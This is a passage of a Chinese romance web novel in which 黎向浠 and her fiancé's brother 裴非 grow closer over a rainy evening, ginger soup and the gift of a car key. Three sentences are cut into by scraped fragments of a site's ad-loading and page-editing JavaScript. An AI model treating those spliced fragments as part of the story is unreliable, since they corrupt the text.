许子炀和她聊了一路,都在旁敲侧击问她对裴非了解多少,怎么认识的,关系怎么样。 黎向浠脸上松弛畅聊,但其实每句话都在脑子里过了十来遍才敢出口。 半个小时后,终于抵达疾控中心,黎向浠如释重负地下车。 “待会儿我送你回去吧。”许子炀按下车窗说。 “不用不用!我自己可以了,你去基地吧,不是说裴非催你了吗?” 要是许子炀去老宅,肯定就知道他们住在一起的事了。 “裴非哪有你重要。”许子炀不着调地开玩笑。 “真不用,我自己回去就好,太麻烦了,谢谢你!” 许子炀见拗不过,没再坚持,“那你回去慢点儿,看样子要下雨了。” “好!” 黎向浠总算笑出来了,她开始思考,是不是她朝裴非叽叽喳喳的时候,裴非也是这样的感觉,想斩断对话,但又没有斩断的口子,只能硬着头皮听完。 - 目送黎向浠进了疾控中心,许子炀掉头,加速往基地赶过去。 昨晚许子炀又喝大了,裴非两个小时前给他发微信,要他赶去基地,说有重要事情交代,关于这次拉力赛的。 本来起床就晚了,看见黎向浠一个人身子单薄站在风里,于心不忍,他还是先给她送过去,更晚了,怕裴非杀了他。 许子炀油门已经踩冒烟了。抵达基地,便马不停蹄去向会议室。 正好到门口,里面队员陆陆续续散会出来,大家看见他,一个个拍了拍肩膀,满脸惋惜地要他保重。 “滚蛋。”许子炀扭着肩膀,嫌弃。 等人走完,许子炀惺惺进去。 裴非正在整理电脑,帽檐下的脸冰得可怕。 “咳咳……”许子炀清了清喉咙,佯装无所谓问,“你找我来干嘛啊?” “领奖。”裴非淡淡回。 裴非其实是想和他分析一下拉力赛胜率,给许子炀一个底,让他别抱太大期待。 结果许子炀嘴巴上说想拿冠军,但这段时间天天喝酒,一天也没见个人影。 果然,烂泥扶不上墙。 裴非越过他,往门口走。 “别呀,有什么指示,你尽管吩咐。”许子炀尬笑,跟在裴非身后出去。 “喂,你。”向馨欣不知何时出现在门外,指着裴非,“你到底为什么对我敌意那么大?” 向馨欣张开双臂,堵得严,表情娇纵,像是寻仇来的。 裴非掠了她一眼,插兜站在原地,缄默不语,看她要做什么。 许子炀赶紧将向馨欣拉到一边,让出道路,“他哪是对你有敌意,他这张脸对谁都不友好。” 本来他迟到,裴非已经压着火气,她这一下明晃晃火上浇油,许子炀可不想今晚就交代在基地。 裴非直直离开,跟个没事人一样,没有搭理她。 向馨欣第六感告诉自己,裴非就是对她特别不友好,况且她都杀到基地了,裴非都只是冷冷看了她一眼,现在还扭头就走,不把她放在眼里。 “你告诉裴非,我偏要搞清楚他为什么讨厌我。”向馨欣指向裴非的背影。 许子炀一脸无奈,“大小姐你能不能找杨余瑞玩儿啊,这人你是真惹不起。” 他好说歹说才将向馨欣哄走,又加快脚步跟上裴非。 他打算找个话题缓和一下裴非的怒火,于是嬉皮笑脸说:“我本来出门挺早的,就是来的路上送浠浠宝贝打针去了。” 裴非睨向他。 见他有反应,许子炀继续说:“你猜怎么着?浠浠宝贝居然让猫挠了,真是不小心,而且,刚刚外面刮大风,她居然坐公交去疾控中心,我一个大男人,能让她这样孤零零过去嘛。” “本来我还想等她打完针送她回去的,可惜她说不想麻烦我,也不知道她住的远不远,这天气……” 许子炀还没说完,外面响起一阵轰鸣雷声。 裴非停下脚步,转头看向玻璃外,乌云密布,树木被吹得七扭八歪,明明是下午五点多,却像是夜间一样黑压压的。 许子炀没发现裴非停了,他往前走,还在喋喋不休,“不过这个时间,算算她就算没到家也在车上了,应该住得不远,不会淋雨的。” 转头,裴非已经折身离开,走出五米。 许子炀喊他:“你去哪啊?” “下班。” “?你叫我过来,自己却下班了?” - 黎向浠坐公交车回到超市门口,买完菜出来,外面刚好下起了雨。 似乎因为入了秋,一开始是倾盆大雨,慢慢转变为厚重的秋雨,没有要停的趋势,建筑笼罩在一片虚无的薄雾里,空气沉闷潮湿。 周遭的霓虹灯闪了起来,把阴森森的夜幕点缀得有了些生气。 没带伞,黎向浠就抱着袋子躲在超市屋檐下。 另一趟公交到站,下来一位中年妇女,托着买菜的小推车,也没带伞。不一会儿,中年妇女的头发就被打湿得贴在脸上。 女人脚步匆忙往某一个方向跑着,脚底绊了一下,摔倒在地上,膝盖跪倒水渍里,推车里的菜和水果滚出来,一颗颗像是渴望自由似的,迫不及待向四面八方逃离。 黎向浠连忙放下袋子跑入雨中,将女人扶起。 “怎么样阿姨?有没有受伤啊?”黎向浠帮她拍掉膝盖的泥渍,关心问。 阿姨摇摇头,推着她,感激说:“我没有受伤姑娘,谢谢你,这雨密,你快回屋檐底下吧,待会儿淋湿要感冒了。” “没事,帮你一起捡了吧。”黎向浠拽起倒了推车。 女人说:“那就谢谢你了。” 黎向浠便冒着雨,和女人一颗一颗捡起散落的洋葱和苹果。 雨很密,还有点凉飕飕的,才一会儿功夫,黎向浠的头发打湿成,一缕 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 缕的粘在额头上,衣服也花了大半,好在她一直弯腰捡东西,倒也不是很冷。 最后一颗洋葱跑得也最远,滚到马路牙子附近,黎向浠好不容易才发现它。 正要过去,男人从车上下来,站在它旁边,一只布满青筋的手抢先将它捡起。 他前面有一个小水滩,别人都是避之不及绕开走,黑色的马丁靴却踩在水滩正中央,将它视作空气。 高大的身影拢过来,黎向浠落入一把黑伞底下,头顶的雨停了。 她抬眼,裴非居高临下,和她保持了一大步的距离,伞往她头顶遮蔽,他后背瞬间打上斑驳的雨渍。 挡住大半表情的鸭舌帽压得很低,黑色夹克黑色裤子融进伞底,衬得暴露在外的皮肤白到发光。 黎向浠拍拍手起身,有些诧异地扬起嘴角,“裴非!你怎么在这里?!” 平时他基本七点才回,现在也才五点多。 裴非将雨伞递给黎向浠,压下帽檐盖住自己闪躲的眼神。 “车队下午临时休息。” 他弯腰将洋葱放入推车,还给阿姨。 黎向浠朝裴非的背影开心抿了抿唇线,走过去把阿姨也圈在雨伞下,又帮阿姨掸去头发上的水珠。 她声音清脆说:“阿姨,要不您叫辆车吧,这雨不停,你回去要淋湿的。” “不用,我就住这附近,马上就到了,反正也淋湿了,谢谢你们。” 阿姨摇头,说着就要扭头走。 黎向浠拦住她,抬眼看向裴非。 裴非似乎看得出她要做什么,默认地挪走眼神。 得到允许,黎向浠扬起笑容,把雨伞塞进阿姨手里。 阿姨推脱:“不用姑娘,待会儿你们该淋湿了!” “没事没事,我们一会儿就上车了。” 她指着裴非的布加迪,它就在停他刚刚捡洋葱的位置不远。 这来回客套一番,阿姨最后还是收下雨伞,朝黎向浠和裴非连连点头,感激说:“谢谢你小姑娘,害得你淋湿了,待会儿回去让你男朋友煮点姜汤喝,暖暖身子,免得感冒了。” 黎向浠还没来得及反驳,阿姨已经走远了。 上次护士误会,黎向浠可以有解释的机会,所以没当回事。但这次阿姨压根没听解释就离开了,好像一拍定音那样将两个绑到一起了。 黎向浠嘴唇动了动,没能说出口。 她回头,裴非就站在她半步的位置,高大的身影笼着她。 夹克外套敞开,里面是一件黑色T恤,雨水打湿了能看出胸肌的痕迹,饱满紧实又宽敞。 黎向浠脑子飘过奇怪的想法,上次在漫展,她就是靠在那里的吗? “好巧哈哈哈哈哈,裴非你快上车吧!待会儿淋湿要生病了!”黎向浠看向裴非,眉眼弯弯开口。 话落,毫无防备地一道雷,吓得黎向浠缩着肩膀颤了一下。 同时,黑色鸭舌帽落到她头顶,挡住打在她脸上的雨,像是圈出一小片晴空。 帽子布料上有裴非的余温,她又一次直观感受到了裴非的温度。 很轻柔的温度,像是初秋清晨的阳光,黎向浠却莫名觉得炙热。 裴非在帮她整理帽子。 明明印象里,那只手常年被青筋攀附,骨节分明,和温柔没有半分关系的,但刚刚落在她头顶时,分外柔情。 就像早上他抚摸那只猫一样温柔。 雨声唰唰挠着黎向浠心脏,她的心跳咚咚咚地猛烈加速着,她觉得自己应该是感冒了,否则在微凉湿润的雨里,怎么觉得口干舌燥的。 黎向浠抬头,想说不用了,反正已经淋湿了。 结果,裴非来不及收回的手蹭过她脸颊,粗粝的指节刮在她细腻的皮肤上,像是通了电,电流在身体里乱蹿,酥酥麻麻。 四目相对间,雨水厚重,身后路过的车子雨刮器快速摆动,有一半像是黎向浠蹦出来的心脏那样。 另一半是裴非的。 他只是想帮她整理一下帽子,但这突如其来的插曲,让漆黑如墨的瞳孔闪过慌乱。 他第一次触碰女生的脸颊,用指背,以一种近乎抚摸的暧昧动作。 雨雾朦胧,世界仿佛开了旖旎的滤镜,裴非眸光涟出莫名的缱绻,缠绕在黎向浠脸上。 - 23. 设想他 黎向浠第一次觉得跟一个男人对峙那么可怕。 近在咫尺的距离,他高挺的鼻梁,紧闭的薄唇,突起的喉结,在雨水滋润下,变得异常性感。 但这人是裴非啊,是沈推凡的弟弟。 “那个……”黎向浠挪走眼,慌乱指着他肩膀,“你淋……淋湿了……” 裴非似乎没有听见。 得不到回答,黎向浠红着脸看向裴非。 只是眸光一触碰,她又弹开了。 隔着沉沉雨雾,黎向浠看见了裴非在望着她,一动不动,漆眸流转着一抹她理解不了的情愫,绸缪难分,好像深海的漩涡,多停留一秒,她就会被卷进去。 黎向浠觉得自己一定是看错了,裴非怎么会用那种看情人的眼神看她。 但她现在眼神怯怯的,根本不敢抬头确认。 “你……你淋湿了……”黎向浠闪躲着,又闷闷说一声。 裴非咳嗽一声,将帽檐压下来,挡住她湿润透红的小脸,声音暗哑说:“下大了,去车上等我。” 裴非去到超市屋檐底下,拎起她刚刚抱着的袋子。 他从旁边经过时,黎向浠又闻见了淡淡的沉木香。 - 返回老宅的车厢没有开灯,路灯光线晦暗,只有被细雨拦断了暖色路灯照进来,斑斑点点。 黎向浠坐在副驾驶,攥着安全带,她心跳已经恢复了正常,但还是不太敢直视裴非。 那个味道还在持续。 “那个……你是喷了香水吗?”黎向浠硬着头皮打破沉寂。 总要说话,不说话氛围更奇怪。 裴非垂眸看了看自己,“没有。” 黎向浠:“噢噢。” 没话说了…… 突然的话少,裴非觉得意外。 尤其是黎向浠的问题,他悄悄吸了一口气,试图找到她口中所说的香水。 落针可闻的车厢,黎向浠能清楚察觉裴非的每一下呼吸,这突然的急切,她分得出,是他在配合她,想闻一闻哪里有香水味。 她余光悄悄挪过去。 显然,裴非没有闻见那阵香气,他眉头皱了又松,只是专注着前方路段。 黎向浠想起许子炀的话。 她还在以为,裴非谈过恋爱。 没了鸭舌帽的桎梏,眼前这张轮廓流畅的侧脸,将冷漠展现到了极致,她想象不出来这个人和女人牵手说情话的样子。 黎向浠猜测裴非谈起恋爱来会是怎样的状态。 粘人?专属宠爱?煲电话粥?还是像是刚刚那样,用他抓紧方向盘的手,轻轻呵护她的脑袋。 她得不出结论,但她会告诉自己,这些不是该她该好奇的,裴非是沈推凡的弟弟,于情于理,她都不该跟他产生朋友之外的东西。 这样想了一路,奇怪的心情终于被压下去。 抵达老宅,引擎声音消失,车内光线亮起,黎向浠眼睛有些刺地皱了皱。 她收拾好情绪,拍了拍脑袋说:“我把帽子洗干净再还给你吧?” “不用。”裴非伸手要取下来。 黎向浠双手慌忙捂住,“别别别,我洗干净再给你!” 头发沾了水,帽子又压了一路,这会儿脱下来肯定很难看。黎向浠也不知道为什么她突然介意这个了。 裴非一顿,但也没再坚持,他迅速下了车,拿过袋子进了房子里。 两人都淋了雨,衣服半湿,便返回各自的房间洗漱。 黎向浠脱下帽子,那股沉木香更浓了。 她用很多洗衣液,过好多遍清水,神奇的是,还是能闻到它上面淡淡的沉木香味。 是没有香精的,纯天然的味道。 “奇怪。”黎向浠这样说着,把帽子挂在自己房间的阳台晾晒。 餐桌旁,两个人的头发都是半干的状态,黎向浠依旧嘴巴不停,裴非坐得端正进食,和外面唰唰作响的落雨相比,客厅表面上风平浪静到可怕。 默契地,谁也没有提刚刚的意外。 但其实,一个脸颊越说越红,一个进食速度越来越慢。 这样稀里糊涂结束了晚餐。 裴非回到房间,坐在桌子前,转动蝴蝶刀。 一楼传来女生忙碌的动静,一会儿折腾地板,一会儿花瓶叮叮当当,很是喧嚣。 他脑子里回忆起雨里的画面,她像一朵染了水的火烧云,柔软,温暖,红彤彤的。 是可爱的。 裴非忍不住勾了勾嘴角。 临近十点,客厅安静下来。 裴非想到晚餐时候的黎向浠,她嘴巴虽然喋喋不休,但一直没抬眼。 淋雨感冒了? 裴非扔出蝴蝶刀,扎在照片里沈推凡的额头上,起身出门。 - 夜深了些,黎向浠趴在床上,心跳的余悸消散,她盯着阳台悬挂的鸭舌帽发呆。 在思索自己到底为什么会心跳加速。 还没得出答案,手机响起,裴非的微信消息。 【去喝了,在餐桌上。】 喝什么?酒吗?裴非邀请她去喝酒? 黎向浠神经紧绷,心脏又在猛烈撞击,这还是裴非第一次主动给他发消息。 住在老宅这么多天了,黎向浠第一次翻出那晚的记忆,它此刻强烈到把她对黎蔓的思念盖住。 她想,如果裴非再次提出这件事,那她一定要坚定拒绝,她将来会是他嫂子,最好还是不要有越界行为。 黎向浠回复:【好!】 又自顾自点头“嗯”了一下,给自己加油打气。 她起身抚平睡裙的褶皱,手指梳了梳头发,啵啵两声抿着唇线,站在房门后方,做了个深呼吸,扯着笑脸打开走出去。 一楼客厅亮着微弱的照明灯,安安静静,对面红木门紧紧关着,没有光线从底下透出来。 黎向浠拍着胸口,如释重负松了一口气,然后嘴角扬起自嘲。 她居然会觉得裴非这种冷脸的家伙要请自己喝酒,还觉得他会再次邀请她做那种事,还因此神经兮兮的。 带着羞意,黎向浠走到餐桌前。 桌上孤零零摆着一个纸杯,杯子里盛了一碗汤,上面飘着白雾。 黎向浠拿起,有一股浓烈辛辣的味道,杯子温温热热,放在手心很暖和,刚好赶跑秋雨带来的寒凉。 她试探喝一口,瞬间五官皱巴巴。 辣意席卷而来,姜汤仿佛融进血液蔓延到全身,犯困的神经在身体里跳舞,黎向浠手脚发烫。 纯姜汤,辣到她想呕出来。 黎向浠微微一愣,看看杯子,再看看二楼紧闭的红木门。 她还记得阿姨离开前说,让男朋友回去煮姜汤,免得感冒了。 男朋友。 光线晦涩,窗外秋雨细如丝,唰唰落在地面,明明很是静心,黎向浠心脏却又在打鼓,脸上晕出一抹娇羞。 等反应过来,她紧忙眨着眼收回视线,咬紧嘴唇。 她在乱想什么? 脸颊是赶不跑的红晕,黎向浠分不清是被姜汤辣出来的,还是因为对裴非心跳加速而涌出来的羞意。 黎向浠佯装镇定把剩下的姜汤一口喝完,然后被辣得皱巴巴。 她拍了一张空纸杯的照片发过去。 趁着裴非看不到她表情破绽,用平常的语气回复说:【谢谢!很好喝!你也要多喝,不然会感冒噢,晚安!】 没收到裴非的回答,黎向浠居然觉得放松,因为裴非没有变,还是和原来一样,对她不算很热情。 这就说明,他对她也没有这种脸红心跳的感觉。 放在外人身上,这应该是妾有情郎无意,是伤感的。 但黎向浠却觉得开心极了,她刚刚还想,难道裴非这段时间突然对她好,也是因为这个。 现在看来,只是她一个人出了问题。 好不容易积攒的困意被姜汤驱赶了个一干二净,黎向浠走去书房,准备录制有声书,转移注意力。 开始之前,她给黎蔓发了一条语音:“妈妈,我刚刚喝到朋友弄的姜汤了!跟我住一起的朋友。温度刚刚好,就是有点辣,这还是我第一次喝朋友弄的,可惜没有放糖。不过也很开心,因为有新朋友了!” 她给自己洗脑,说裴非只是朋友。 但她不知道,窗户外,阳台上,那个所谓的“朋友”,听见了。 男人原本闭着眼,静静听着秋雨绵绵的声音,听到女生的动静,他掀起眼皮,看向刚刚滑过她脸颊的指尖,薄长的眼睛里,漆眸涟起无奈的笑意。 算是新朋友吧,她说话总是很直白。 但关于姜汤,她说的分明和发给他的信息相反。 - 翌日清晨,雨过天晴,秋高气爽,院子里闯进了一道淡橘色的阳光,草地焕然一新,生机盎然。 房间阳台的鸭舌帽被风吹得左右摇晃。 黎向浠拍拍脸唤醒肌肉,尽管淋了雨,但喝了姜汤,一晚上睡得很好。 她朝镜子扯了扯嘴角,露出新一天的第一个笑容。 她告诉自己一个晚上,昨晚的那种感觉,只是错觉,马上就好了。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >以及,不要在裴非跟前露出破绽,否则会很丢人。 结果,推门而出,撞见刚出来的裴非,她还是不自觉提了一口气。 “早上好裴非!昨晚的姜汤很好喝噢,我今天没有感冒!”黎向浠挥手招呼,眼神不坚定地飘着。 一是撒谎。 二是她现在似乎还不能太过强烈地和裴非对视。 裴非并没有看出来第二点,他深邃的眸光只看得出她在撒谎。 黎向浠心虚地挪开眼神,再次强调说:“真的很好喝!我很喜欢!” “早。” 裴非没有拆穿,他转身下楼,出门,当做什么也不知道。 黎向浠这次去外面散步锻炼了,故意拉长了时间,和裴非错开。 她结束时,裴非已经回来了,估计是没看见她,进了客厅,正在餐桌旁吃早餐。 黎向浠没有去餐桌,而是要上楼,白天视线太过强烈,她暂时不想跟裴非面对面坐着,会很奇怪。 “早。”裴非开口。 黎向浠脚步定住,感慨着他为什么突然热情了,她硬着头皮站在台阶上回身,“早哈哈哈哈……” 裴非往她的方向推了推一个纸杯。 杯子上飘着温热的白烟,里面装着颜色很深的液体,深到让杯子变成看不见底的黑洞。 黎向浠“嗯?”了一声,看看杯子又看向裴非。 “喝了它。”裴非扬了扬下巴说。 黎向浠的注意力被杯子吸引,她好奇走过去,稀里糊涂拿起,抿了一小口。 乌黑的液体触碰到舌尖,甜腻腻的感觉在味蕾里炸开,细细品尝之后还能尝到姜汤的微辣感,但并不刺激喉,反而中和了甜味,不腻嘴巴。 同时甜起来的,还有黎向浠的心脏,她觉得自己说话真灵,昨晚刚和黎蔓说姜汤里面放点糖最好了,今天就喝到了,像是记忆里的味道,黎蔓给她弄的。 逃离身体一个晚上的思念之情又爬上脑子,黎向浠仰头一饮而尽,满意又夸张地“啊~”了一声。 “真好喝!你喝过了吗?你昨天也淋雨了,多喝一些,姜不够的话,我下午会去超市买回来的。”黎向浠张着大眼。 但是,这刹那的四目相对,黎向浠又觉得可怕了,裴非的眼睛真好看,薄长深邃,他长得也很好看,皮肤很好…… 一连串奇怪的想法出现,黎向浠的体温又开始上升了。 而裴非只是淡淡看着她,眼底没什么表情。 - 早餐结束,裴非去了基地,黎向浠自己呆在老宅,她把院子打扫一遍,又去修剪草坪花圃,让忙碌填满她胡思乱想的脑袋。 下午的时候,黎向浠还是骑着自行车去了超市,她每天只买一天的量,这样裴非不在家,她也可以有事干。 有了上次的经验,黎向浠这次回来的时候是推着自行车的,尽管走得慢了一些,但也比拎着一堆菜走路强。 回到院子门口,正巧,裴非的布加迪也刚好到。 裴非停在她身边,按下车窗,眼神打量她。 黎向浠看了看自己的造型。 可怜兮兮的自行车左一袋右一袋,更加可怜兮兮的是她,用力抓着把手,虎口处被摩得皮肤发红。 黎向浠想,裴非可能觉得奇怪吧,打车过去买就好了,她非要走路或者骑车,找麻烦。 但这样能打发时间啊。 “你可以让我买回来。”裴非开口。 “没关系,我闲着也是闲着。”黎向浠自顾自解释。 裴非收回眼神,什么也没说地将车子开进去,不一会儿又走出来,站到黎向浠跟前。 “真的没关系!我自己来就好。”黎向浠推着自行车,后退半步。 他站在她跟前,身形高大,一个白天不见,好不容易平复的情绪,又开始波涛汹涌了。 裴非没有往前走,而是握着拳头,掌心朝下地递出右手。 落入黎向浠不敢抬起来的视线里。 夕阳照进来,两个人影长长落在地板上,金色的光线照得那只手的青筋颜色淡了些。 他的手很宽,黎向浠知道他掌心有东西,但完全看不到是什么。 黎向浠不知道他要做什么,就这么呆呆看着。 “拿着。”裴非晃了晃手。 黎向浠小心翼翼张开手,放到他拳头下。 她的掌心比虎口还要红,这样把着自行车走一路,胳膊也在发酸。 裴非手指紧了紧,张开修长的手指,掌中的东西带着旖旎的体温,稳稳落入黎向浠的手心。 - 24. 躲避他 车钥匙带着裴非掌心的温度,剧烈灼烧着她的皮肤。 风吹,黎向浠的发梢连着心脏,一起跳动起来。 “这个……我……”她怔在原地,不敢乱动,嘴巴张了又闭,找不出话语。 “以后开这个。”裴非收回手,固定住自行车头。 黎向浠腾出两只手,打量那把精巧的钥匙。 她认得这个车标,是法拉利,她在车库里见过这辆车子,是辆红色的跑车。 那个时候她还觉得诧异,为什么裴非这样的人会有红色的车子,后来看见他的赛车服,黎向浠就没有了这个疑问。 “不不不,”黎向浠猛地摇头将钥匙递回去,“太贵重了,万一剐蹭了怎么办?不行不行,我不能要,而且我又不会开。” 她跟黎蔓过了21年,家里连个小车都没有,更别谈豪车了,学个自行车还得摔好几回,把法拉利剐了,她也赔不起。 只是太过慌乱,黎向浠递过去的幅度大了些,指尖抵到裴非腹部。 隔着衣服布料,硬朗的肌肉触感传来,黎向浠像是触到了电门,身子一惊。 她脑子怒吼:这是在干什么?! 裴非的反应速度很快,这是赛车手的基本素养,但此刻,他只是身子一顿,并没有往后躲开她。 女生指尖撞在硬朗的腹肌上,犹如潺潺流水滑过那样柔软。 那黑色的帽檐底下,幽黑的眸光泛起涟漪。 晚风徐徐,两片毫不相干的树叶从树上飘落,在空中相伴起舞,缱绻缠绕,风停,它们依偎着落在他们长长的影子上,安静美好。 黎向浠又闻到了那阵沉木香,此刻是浓烈的,它们包围了她,在她鼻尖盘旋,怎么呼吸都是它们的味道。 她不敢抬头,悄悄屈指,却不小心勾起他的衣衫…… 黎向浠心一紧,眼睛深深闭上,像是做了坏事的小孩。 太尴尬了。 裴非放在车头的手抓到泛白,脸色却依旧风平浪静。 他转过身,声音沙哑说:“我教你。” 黎向浠紧张到连最基本的谢谢都忘了说。 等她再抬眸时,裴非已经走出去两米了,夹克合身,衬出他利落的身形。 院子里的玛格丽特花开正艳,裴非的黑色衣服在姹紫嫣红的背景里,反而变成了最耀眼的颜色。 他将自行车停在大门前,一手提着一个大袋子,两三步上了台阶,走进客厅,消失在黎向浠视线里。 黎向浠低眼,看着影子里缠绵的树叶,呼吸紊乱,似乎躺在掌心的不是车钥匙,是从胸口逃离的心脏,一下一下跳动,迸发出她从没见过的活力。 她想,一定是夕阳的作用,晒得自己脸颊发烫。 她在院子里快步走着,绕着梧桐树,绕着布加迪,试图用带起来的风,赶跑脸颊那说不清的灼热感,试图将裴非的身影从自己脑子里甩出去。 但没有用,黎向浠扶着布加迪,脚底打飘。 有一种摔在云层里的感觉,被莫名其妙柔软的东西包裹,挠得她浑身痒痒。心花怒放,开得比玛格丽特还要热烈,还要五彩斑斓。 她的嘴角总是控制不住上扬,脑子总是乱想,想裴非给她道歉时羞涩的扭捏,想漫展里裴非保护她的胸口,想裴非故意不喂饱小碳让她继续,想昨晚裴非替她遮雨的指尖,还有裴非给她煮的姜汤。 这些都是她从未有过的体验,以前在学校也会有男生对她好,但那些都只是友情,就算有人追她,但他们并没有得到她的允许,进行到这样的地步,她还没有碰到过让自己脸红心跳的人。 但这两天,她分明也当裴非是友情的…… 黎向浠觉得自己要出事了,赶紧告诉自己,这不合理。 落日渐渐消失,黑夜慢慢吞噬大地,等心跳不再那么强烈,黎向浠收起车钥匙,缩着肩膀,蹑手蹑脚向宅子靠近。 客厅空荡荡,裴非已经把东西放到各自位置,摆得整整齐齐,回了房间,不见踪影。 黎向浠松开肩膀,呼出一口气,这会儿,她是恐惧和裴非面对面。 准备晚餐的时间,是短暂的安逸时间。 只是一转眼,又到了喊他吃饭的时候。 黎向浠站在第一层台阶,扣着手,薄唇张了又闭,愣是一点声音没有。 往日活蹦乱跳的“开饭啦”三个字,今天死死卡在喉咙,怎么也说不出口。 恰巧,红木门裂开一道缝隙,黎向浠小心翼翼看过去。 房间的光线射出,在笼了迷雾的过道口,行成了好看的丁达尔效应,一个小点缀,便让原本不近人情的地域,看上去静谧美好。 裴非头发半干走出来,站在楼梯口处,居高临下垂眸。休闲的黑色居家服衬得肩膀很宽,那里有一条很大的白条纹。 眼底的笑意很浓,看得黎向浠攥了攥拳头。 她觉得,裴非看她的眼神,似乎没有以前那么凶了,这是什么时候开始的呢? 没得出答案,他们两个人已经这样干站着很久了,就算她不看他,也能察觉到,裴非一直盯着她,等她开口。 黎向浠抬头,眼神却是闪躲的,她虚着声音说:“快下来吃饭吧!今天煮了意面,你应该很喜欢吃意面的。” “嗯。”裴非鼻腔出气,轻轻回。 他从楼梯下来,像是踩在黎向浠心尖上一样,每一步都让她呼吸强一个度,心跳加快一拍。 黎向浠咽了咽口水,攥着衣角后退。 须臾。 “小心。”裴非站定在离她两个台阶处,盯着她脚底提醒。 已经踩空一半了,再后退就摔下去了。 “谢……谢谢。”黎向浠生涩说。 裴非没有再下来,黎向浠也没有收回脚步,两人就这样站着。 落针可闻的时间里,黎向浠听见了自己的心跳,咚咚咚咚地,撞击着她胸口,比傍晚的时候还要可怕,热烈得她担心裴非会听见。 尽管没有谈过恋爱,黎向浠还是知道这意味着什么,但这个感觉是不对的,裴非是沈推凡的弟弟,将来还得喊她嫂子。 黎向浠在脑子里反复告诉自己,裴非未来跟她是一家人,不能乱来。 可她越这样想,心跳就越控制不住,本来只是紧张,现在脚底发虚了。 眼下,女生耷拉着红成一片的脑袋,扣着手,脸颊一鼓一鼓思索着什么。 对于拦住了他的去路这件事,她似乎并没有发现。 裴非没有开口,他眸色深深看着,想等她慢慢从自己的世界里出来。 过去好半天,她并没有抬头,像是她天天在他耳边叽叽喳喳,他怎么冷脸她都不走那样,很有毅力。 裴非又觉得,挺可爱的。 “不去吃饭吗?”他开口打破宁静。 黎向浠“啊?”了一声,这才发现自己拦在路中间,她慌乱抬眼,嘴巴重复说:“啊对不起我忘记了哈哈哈哈不好意思我……哎!” 她往后挪动,想让出裴非下去的空间,但忘了已经踩空这件事,身体失去支撑往后倒。 以为要来个出洋相的大摔时,黎向浠撞进一个宽厚的胸膛里。 那个她刚刚在院子里快步走,就为了使劲甩掉的胸膛的感觉,又一次扑面而来了。 裴非手臂绕过盈盈一握的蛮腰,将女生捞回自己怀里。 习惯了跟铁器、健身器材打交道,裴非估算错误了黎向浠的体重,力度大了些,让她直直撞到硬朗的胸口上。 咚地一声,在空荡荡的客厅尤为明显。 黎向浠捂着脑袋,生理泪水可怜兮兮挂在睫毛上,“嗷……你怎么样?有没有撞疼你?” 她一边落泪一边拼命睁开眼皮,水汪汪的大眼睛忽闪忽闪,眼眶染了红,却下意识帮裴非揉着被撞击的地方。 力的作用是相互的,她疼,裴非也疼。 只是女生的指尖粉嫩细腻,力度太轻,与其说是按摩,倒不如像是挑逗的意味,如同是小猫在踩他撒娇,挑逗得裴非放在她腰间的手指蜷了蜷,更贴合她的腰身了。 等质地上乘的衣服布料,被她揉得起了褶皱,黎向浠才反应过来那个位置有多敏感,有多越界。 “对不起!” 她举起双手,要往后退,放在腰间的手掌来不及抽走,又将她拦了回来,她的掌心就这样盖在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 裴非紧实饱满的胸口上。 乌黑的杏眼瞪大,慌乱脸红的模样完完全全跌入男人风起云涌的眼底,他不由地深吸一口气,却带起胸口的动作,在她眼底那样大幅度起伏着。 似乎那不是胸口,是男人呼之欲出的荷尔蒙,它汹涌着,刮过她鼻尖。 黎向浠整个人像是煮熟的红烧肉,呼吸也变得不熟练了,羞意袭来,她抿紧唇线。 太丢人了,怎么能这样对未婚夫的弟弟,她恨不得住到地底下。 “谢…咳咳…谢谢……”黎向浠闭着眼说。 她敢抬头,不知道裴非是什么表情,但她感受得到他的呼吸,不止是胸口,他呼出的热气也打在她脸上,睫毛,鼻尖,唇瓣,都感受到他了。 空气热得不像话,她掌心也烫得厉害,腰间的手更是像一颗火球,让她没办法忽视。 事出突然,裴非也愣住,他只是不想让她摔到罢了。 怀里抱着一个小鸟依人怯生生的女生,这是他第二次体验,第一次也是她,那会儿人多,而且是白天,他并没有觉得不妥。 但现在,搂着女生柔软的身子,看着她红扑扑的脸蛋,因为羞怯而蔓延开来的拘谨,对他这样习惯了速度与激情的人来说,有着致命的吸引力。 裴非喉咙干哑地轻咳一声,松开手,佯装像是上次漫展的接触,云淡风轻说:“小心些,先吃饭吧。” “好。” 黎向浠迅速弹开,用手在脸颊旁边扇风,躲着视线,小脸通红说:“哈哈哈哈哈差点摔倒了,谢谢你哈哈哈哈……” - 整个晚餐,黎向浠的嘴巴还是努力扮演往日的形象,即使没有话聊,也硬着头皮滔滔不绝,但眼神一直在和裴非玩躲猫猫。 他一抬眼看过来,黎向浠立刻转走,佯装夹菜或者吃饭。 偶尔对视上了,黎向浠只是干笑两声,眼珠子转得飞快,继续说着没有重点的话。 这些小动作,裴非看得一清二楚,心底忍俊不禁。 胆子那么小,上次在山城的清吧,为什么敢说睡他。 他还记得那晚,他们并不算热情,似乎各有心事,所以他并没有走遍她,也不记得太多,只是抱着颤抖之后,便沉沉睡了过去。 想到这,裴非脸色冷下去,心脏少了一拍。 这段被遗忘的记忆,他为什么又重新捡起来了。 “吃好了。” 裴非扔下筷子,起身进了房间。 黎向浠不知道他为什么走得那么急,但这样一来,她紧绷的肩膀总算松弛下来。 终于可以大口吃饭了。 她翘起二郎腿,夹起刚刚盯了好久的肥肥的红烧肉,一口嚼烂。 结束晚餐整理洗漱好,黎向浠在床上打滚,哀嚎,觉得自己是不是太容易心动了。 黎向浠又想,或许这不算心动,只是单纯的朋友之间的好感,裴非这人很可靠,倪婷也说过他靠谱,所以她对裴非好感强烈一些。 这样自我洗脑到后半夜,黎向浠总算睡了过去。 第二天,黎向浠还是早早醒来,她并没有出门,而是睁着大眼看向天花板,掐着时间。 平时早上九点,裴非早就去基地了,所以她故意九点才出房间门,想错开见面的机会。 打开门,一楼客厅桌子上有裴非带回来的早餐,空无一人,光线像是丝绸般落进来,安安静静。 果然已经不在了。 黎向浠挺起腰杆,懒懒散散走下去,盘腿坐在沙发上,开始慢吞吞吃起早餐。 她差点都忘记了自己自然舒服时候,是什么状态了。 